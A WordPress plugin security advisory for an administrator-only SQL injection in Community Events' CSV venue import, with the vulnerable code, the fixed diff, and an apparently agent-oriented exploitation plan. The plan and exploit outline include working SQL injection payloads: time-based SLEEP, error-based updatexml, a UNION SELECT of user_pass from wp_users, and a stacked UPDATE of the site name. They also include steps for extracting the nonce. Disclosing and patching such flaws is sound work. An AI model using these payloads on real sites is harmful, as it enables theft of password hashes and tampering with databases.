Community Events <= 1.5.8 - Authenticated (Administrator+) SQL Injection via 'ce_venue_name' CSV Field
Description
The Community Events plugin for WordPress is vulnerable to SQL Injection via the 'ce_venue_name' CSV field in the `on_save_changes_venues` function in all versions up to, and including, 1.5.8. This is due to insufficient escaping on the user-supplied CSV data and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a crafted CSV file upload.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.8What Changed in the Fix
Changes introduced in v1.5.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2429 - Community Events SQL Injection ## 1. Vulnerability Summary The **Community Events** plugin (up to version 1.5.8) contains an authenticated SQL injection vulnerability within its CSV venue import functionality. The vulnerability exists in the `on_save_ch…
Show full research plan
Exploitation Research Plan: CVE-2026-2429 - Community Events SQL Injection
1. Vulnerability Summary
The Community Events plugin (up to version 1.5.8) contains an authenticated SQL injection vulnerability within its CSV venue import functionality. The vulnerability exists in the on_save_changes_venues function, which processes user-uploaded CSV files. Specifically, data from the ce_venue_name CSV field is concatenated directly into SQL queries without proper sanitization via wpdb->prepare() or escaping via esc_sql().
While the vulnerability requires Administrator privileges to access the settings page and trigger the import, it allows an attacker to execute arbitrary SQL queries, potentially leading to the extraction of sensitive data (like password hashes or session tokens) from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-post.php - Action:
save_community_events_venues(registered viaadmin_post_save_community_events_venueshook) - Vulnerable Parameter: The content of the uploaded CSV file, specifically under the
ce_venue_namecolumn. - Authentication: Required (Administrator level).
- Preconditions:
- Plugin "Community Events" installed and active.
- Attacker has Administrator credentials.
3. Code Flow
- Entry Point: An administrator submits a form on the Venues settings page (
/wp-admin/admin.php?page=community-events-venues). - Request: The form POSTs to
admin-post.phpwithaction=save_community_events_venues. - Hook: The
community_events_pluginclass constructor registers the hook:add_action('admin_post_save_community_events_venues', array($this, 'on_save_changes_venues')); - Processing:
on_save_changes_venueshandles the request. It checks for an uploaded CSV file. - Parsing: The function reads the CSV file (likely using
fopenandfgetcsv). - Vulnerable Sink: Inside a loop iterating through the CSV rows, the value corresponding to
ce_venue_nameis assigned to a variable. This variable is then interpolated into a raw SQL query (e.g.,SELECT,INSERT, orUPDATE) executed via$wpdb->query()or$wpdb->get_results()without preparation.
4. Nonce Acquisition Strategy
The admin-post.php handler almost certainly requires a nonce for CSRF protection. Based on common plugin patterns and the ajax_admin_event_approval example in the source, we must find the specific nonce used in the venues form.
Strategy:
- Navigate: Use the
browser_navigatetool to go to the Community Events Venues page:URL: /wp-admin/admin.php?page=community-events-venues(Note: the slugcommunity-eventsis defined asCOMMUNITY_EVENTS_ADMIN_PAGE_NAME). - Extract: Use
browser_evalto find the nonce in the form.// Search for a hidden input field named 'ce_venues_nonce' or '_wpnonce' document.querySelector('input[name="ce_venues_nonce"]')?.value || document.querySelector('#_wpnonce')?.value - Verify Action: If
wp_create_nonce('ce_venues_save')is used, the nonce field name might bece_venues_nonce.
5. Exploitation Strategy
The goal is to confirm SQL injection using a time-based payload in the CSV file.
Step-by-Step Plan:
- Login: Authenticate as an administrator.
- Locate Form: Access
/wp-admin/admin.php?page=community-events-venuesto identify the file upload field name (likelyvenue_csv_fileor similar). - Prepare CSV: Create a CSV file named
exploit.csvwith the following content:ce_venue_name,ce_venue_address,ce_venue_city "test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -","123 Test St","Test City" - Execute Request: Use
http_requestto POST toadmin-post.php.- URL:
http://localhost:8080/wp-admin/admin-post.php - Method:
POST - Headers:
Content-Type: multipart/form-data - Body:
action:save_community_events_venues_wpnonce: [Extracted Nonce]venue_csv_file: [Binary content of exploit.csv]
- URL:
- Measure Timing: A successful injection will cause the server to hang for ~5 seconds.
6. Test Data Setup
- Plugin Setup: Ensure Community Events is active.
- Page Creation (Internal Requirement): Since this is an admin-level exploit, we don't need to place shortcodes for the admin to see, but the plugin must be initialized so the database tables exist (triggered by
ce_installon activation).
7. Expected Results
- Success: The
http_requestfor the CSV upload takes significantly longer than usual (>= 5 seconds). - Failure: The request returns quickly (e.g.,
< 1 second) or results in a 403 Forbidden (nonce error) or 500 Internal Server Error (syntax error if the payload is malformed).
8. Verification Steps
After the HTTP request, verify the injection side-effect via wp-cli:
- Check the database for the injected venue name:
wp db query "SELECT * FROM wp_ce_venues WHERE venue_name LIKE 'test%';" --allow-root - Alternatively, use a payload that changes a setting or user:
ce_venue_namepayload:"test'; UPDATE wp_options SET option_value='pwned' WHERE option_name='blogname'; -- "
Followed by:wp option get blogname --allow-root
9. Alternative Approaches
If time-based injection is blocked or unreliable:
- Error-Based SQLi: Use
updatexml()orextractvalue()to leak the database version or user.- Payload:
"test' AND updatexml(1,concat(0x7e,@@version,0x7e),1)-- -" - Check the HTTP response body for the MySQL error containing the version string.
- Payload:
- Union-Based Extraction: If the results of the query are displayed back to the admin (e.g., "The following venues were imported: ..."), determine the column count and use
UNION SELECT.- Payload:
"test' UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -"
- Payload:
Summary
The Community Events plugin for WordPress is vulnerable to an authenticated SQL injection via the venue name field during CSV imports. Because user-supplied CSV data is concatenated directly into SQL queries without preparation or escaping, an administrator can execute arbitrary SQL commands by uploading a crafted CSV file.
Vulnerable Code
// community-events.php line 742 $existingvenuequery = "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v "; $existingvenuequery .= "WHERE ce_venue_name = '" . $data[0] . "'"; $existingvenue = $wpdb->get_var($existingvenuequery);
Security Fix
@@ -739,9 +739,9 @@ { if (count($data) == 7) { - $existingvenuequery = "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v "; - $existingvenuequery .= "WHERE ce_venue_name = '" . $data[0] . "'"; - $existingvenue = $wpdb->get_var($existingvenuequery); + + $existingvenuequery = $wpdb->prepare( "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v WHERE ce_venue_name = %s", $data[0] ); + $existingvenue = $wpdb->get_var( $existingvenuequery ); if (!$existingvenue) {
Exploit Outline
The exploit requires Administrator privileges to access the plugin's venue management settings. 1. The attacker authenticates as an Administrator and navigates to the Community Events Venues page (/wp-admin/admin.php?page=community-events-venues) to obtain a valid security nonce (typically named 'ce_venues_nonce'). 2. The attacker creates a CSV file containing a malicious SQL payload in the first column (representing 'ce_venue_name'). For example, using a time-based payload like: "' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -". 3. The attacker sends a multipart POST request to /wp-admin/admin-post.php with the 'action' parameter set to 'save_community_events_venues', including the extracted nonce and the crafted CSV file. 4. When the plugin processes the CSV, the payload is concatenated into a SELECT query used to check for existing venues, causing the database to execute the injected SQL command.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.